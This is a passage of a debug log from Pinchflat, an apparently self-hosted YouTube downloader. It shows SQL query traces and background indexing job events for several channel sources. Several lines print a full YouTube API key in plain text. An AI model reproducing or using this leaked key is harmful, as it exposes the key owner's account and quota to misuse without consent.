s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:42.117 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:42.322 [debug] QUERY OK source="media_items" db=0.6ms idle=204.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 17:05:42.324 [debug] QUERY OK source="media_items" db=0.8ms idle=205.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:05:42.324 [debug] QUERY OK source="tasks" db=0.1ms idle=206.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268389, 27, ~U[2026-10-09 22:05:42Z], ~U[2026-10-09 22:05:42Z]] 17:05:42.325 [info] {"args":{"id":27},"id":5268349,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":208066,"event":"job:stop","queue_time":413310,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:43.118 [info] {"args":{"id":18},"id":5268350,"meta":{},"system_time":1791583543118262806,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:43.118 [info] {"args":{"id":1},"id":5268351,"meta":{},"system_time":1791583543118293243,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:43.118 [debug] QUERY OK source="sources" db=0.1ms idle=793.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:05:43.118 [debug] QUERY OK source="sources" db=0.1ms idle=793.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:05:43.119 [debug] QUERY OK source="settings" db=0.2ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] QUERY OK source="settings" db=0.3ms idle=787.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:43.119 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:43.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:05:43.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:05:43.119 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:43.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:43.119 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:43.308 [debug] QUERY OK source="media_items" db=0.7ms idle=187.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 17:05:43.321 [debug] QUERY OK source="media_items" db=12.9ms idle=189.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:05:43.322 [debug] QUERY OK source="tasks" db=0.1ms idle=202.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268390, 1, ~U[2026-10-09 22:05:43Z], ~U[2026-10-09 22:05:43Z]] 17:05:43.322 [info] {"args":{"id":1},"id":5268351,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204156,"event":"job:stop","queue_time":199306,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:43.514 [debug] QUERY OK source="media_items" db=0.6ms idle=192.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 17:05:43.516 [debug] QUERY OK source="media_items" db=0.8ms idle=193.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:05:43.517 [debug] QUERY OK source="tasks" db=0.1ms idle=187.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268391, 18, ~U[2026-10-09 22:05:43Z], ~U[2026-10-09 22:05:43Z]] 17:05:43.517 [info] {"args":{"id":18},"id":5268350,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":398975,"event":"job:stop","queue_time":381245,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:44.119 [info] {"args":{"id":16},"id":5268352,"meta":{},"system_time":1791583544119151956,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:44.119 [info] {"args":{"id":5},"id":5268353,"meta":{},"system_time":1791583544119195357,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:44.119 [debug] QUERY OK source="sources" db=0.1ms idle=602.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:05:44.119 [debug] QUERY OK source="sources" db=0.1ms idle=601.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:05:44.119 [debug] QUERY OK source="settings" db=0.0ms idle=596.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.119 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.119 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:44.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.119 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:05:44.119 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:44.120 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.120 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.120 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:44.120 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:05:44.120 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:44.120 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:44.236 [debug] QUERY OK source="media_items" db=0.7ms idle=115.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 17:05:44.238 [debug] QUERY OK source="media_items" db=1.0ms idle=117.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:05:44.239 [debug] QUERY OK source="tasks" db=0.1ms idle=118.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268392, 16, ~U[2026-10-09 22:05:44Z], ~U[2026-10-09 22:05:44Z]] 17:05:44.239 [info] 